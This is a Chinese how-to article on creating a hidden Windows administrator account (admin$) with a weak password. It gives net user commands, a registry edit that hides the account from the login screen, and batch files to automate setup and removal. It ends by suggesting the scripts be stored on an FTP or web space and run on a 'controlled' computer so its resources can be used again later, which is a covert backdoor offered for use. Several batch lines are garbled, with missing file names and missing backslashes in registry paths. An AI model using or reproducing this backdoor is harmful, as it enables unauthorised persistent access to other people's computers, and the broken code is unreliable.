2016 - 2024

感恩一路有你

如何在计算机中创建一个隐藏的账户

浏览量:1209 时间:2024-01-30 17:44:07 作者:采采

计算机中创建一个隐藏的账户可以作为远程登录的用户来远控计算机或者查看计算机的磁盘信息。以下是在Windows XP SP3虚拟机中演示的步骤:

使用的环境

- 宿主机:Windows XP SP3

- 虚拟机:Vmware Workstation下的Windows XP SP3

使用的工具

A. 系统工具:

- Regedit.exe

- Cmd.exe

B. 自建的批处理和注册表:

- 开启账户及添加隐藏注册表.bat

- 关闭账户及删除隐藏注册表.bat

步骤

1. 本地创建隐藏账户和建立隐藏"登录时账户显示"的注册表文件。

打开命令提示符(Cmd.exe)并输入以下命令:

```

net user admin$ admin /add

```

这会在计算机中创建一个用户名为admin$、密码为admin的账户。此时创建的这个带$符号的账户是隐藏的。通过运行`net user`命令,我们无法找到这个用户。然而,在"计算机管理"的"本地用户和组"->"用户"中,我们可以看到存在admin$的账户。

接下来,将admin账户添加到管理员组中,以便以后对计算机进行控制。在命令提示符中输入以下命令:

```

net localgroup administrators admin$ /add

```

至此,本地计算机的隐藏账户已创建完成。注销计算机后,在登录界面仍然可以看到admin$的账户。那么,如何将登录界面上的admin$账户也隐藏掉呢?我们可以进入注册表中新建一个键来实现。

在注册表编辑器(Regedit.exe)的菜单栏中选择"编辑"->"查找",并搜索"userlist",找到[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList]这个键值。在该键下新建一个名为admin$的DWORD类型键,其值为"admin$"dword:00000000。

快速打开方法是在注册表编辑器(Regedit.exe)的菜单栏中选择"编辑"->"查找",并连续点击两次"下一个"按钮即可定位到userlist这个键值。

保存userlist下的键值为"",方便之后的批处理使用。注销计算机后,你会发现此时admin$账户已不见了。

通过以上步骤,在命令提示符下的"net user"命令和系统登录界面中都无法看到admin$的影子。唯一可以看到的是"计算机管理"中的用户列表。一般用户通常不会去查看最后一个地方,因此我们成功地创建了一个相对隐藏较深的计算机账户。

现在,我们可以删除以上设置。

批处理编写

以下是用于创建隐藏账户和添加注册表的批处理文件内容("开启账户及添加隐藏注册表.bat"):

```

@echo off

net user admin$ admin /add >nul

net localgroup administrators admin$ /add >nul

echo Windows Registry Editor Version 5.00 >

echo. >>

echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList] >>

echo "admin$"dword:00000000 >>

echo. >>

regedit /s >nul

del >nul

```

以下是用于删除隐藏账户和相关注册表信息的批处理文件内容("关闭账户及删除隐藏注册表.bat"):

```

@echo off

net user admin$ /del >nul

reg delete "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "admin$" /f >nul

```

一旦有了以上两个批处理文件,我们可以将它们放在自己的网络空间或FTP空间中,随时备用。适当的时候,在受控的计算机中创建一个隐藏的账户,以便下次使用该计算机的资源。

版权声明:本文内容由互联网用户自发贡献,本站不承担相关法律责任.如有侵权/违法内容,本站将立刻删除。